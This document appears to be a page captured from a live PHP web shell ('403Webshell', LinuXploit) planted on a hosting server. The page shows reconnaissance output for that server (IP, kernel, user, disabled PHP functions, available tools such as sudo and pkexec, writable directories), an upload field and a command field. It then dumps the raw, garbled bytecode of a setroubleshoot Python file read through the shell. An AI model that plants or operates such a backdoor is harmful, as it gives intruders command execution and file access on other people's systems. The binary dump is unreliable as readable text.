403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.145
Web Server : Apache
System : Linux hp3-wp-1011352.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2516497 ( 2094697)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/setroubleshoot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python2.7/site-packages/setroubleshoot/access_control.pyo
�
�3�Zc@sKdZddlZddlZddlZddlmZdgZy
ejZWn�e	k
r3ddl
Z
ddlZe
j�dZ
ejde
�r�dZq4ejde
�r�dZq4ejd	e
�r�d
Zq4ejde
�r�dZq4ejd
e
�rdZq4ejde
�r*dZq4dZnXddd��YZdS(s�Access control for setroubleshoot. For now this is only used for
determining which users are allowed to connect to the server: see
UserServerAccess for more information.i����N(t
get_configtServerAccessis^i\d86is^x86_64s^(ppc|powerpc)is
^(alpha|mips)is^sparci@s^parisci@cBsoeZdZiied6d6ied6d6Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�ZRS(sg
    Determine if a user should be given access to the server based
    on the configuration file.
    twildcardtclienttfix_cmdcCsCi|_x3ttjj��D]}|j|�|j|<qWdS(N(t
privilegestlistRtkeystinit_privilege(tselft	privilege((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pyt__init__Ds	cCs9gtdd|�jd�D]}|j�^q}|S(Ntaccesss%s_userst,(Rtsplittstrip(R	R
tnamet	cfg_names((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pyROs2cCs4|tjk}|rtStjtjd|�tS(Nsunknown access privilege (%s)(RRtTruetsyslogtLOG_ERRtFalse(R	R
tvalid((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pytvalid_privilegeTs
cCs9|j|�stStj|ds(tSd|j|kS(NRt*(RRRR(R	R
((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pytunrestricted_privilegeZs
cCsE|j|�stS|j|�r&tS||j|kr=tStSdS(s�
        Determine if the given user name is allowed access.
        Returns True if access should be given, False if not.
        N(RRRRR(R	R
tuser((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pytuser_allowedascCsn|j|�stS|j|�r&tSyddl}|j|�}Wntk
rYtSX|j||d�S(s�
        Determine if the given uid is allowed access. No error
        is returned if the uid is invalid (False is returned).
        Returns True if access should be given, False if not.
        i����Ni(RRRRtpwdtgetpwuidtKeyErrorR(R	R
tuidRt	pwd_entry((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pytuid_allowedos
c
Csd}}}y&|j}|tjkr3||fSWntk
rGnXd}tj|�}yv|jtjt	|�}tj
||�\}}}|dkr�d}n|dkr�d}n|dkr�d}nWn8tk
r
}	d}}}tjtj
d|	�nX||fS(s�Obtain the effective user and group IDs of the process on
        the other end of a socket. SO_PEERCRED is used so the information
        returned is generally trustworthy (though root processes can
        impersonate any uid/gid).tIIIi����sget_credentials(): %sN(tNonetfamilytSockettAF_UNIXtAttributeErrortstructtcalcsizet
getsockoptt
SOL_SOCKETtSO_PEERCREDtunpackt	ExceptionRR(
R	tsocktpidRtgidR$tformat_ucredtsizeof_ucredtucredte((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pytget_credentials�s,	
		
(
t__name__t
__module__t__doc__RRRRRRRRR!R6(((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pyR:s						((R9R(tsocketR%Rtsetroubleshoot.configRt__all__R,R'tostretunametmachinetsearchR(((sC/usr/lib64/python2.7/site-packages/setroubleshoot/access_control.pyt<module>s2	

						


Youez - 2016 - github.com/yon3zu
LinuXploit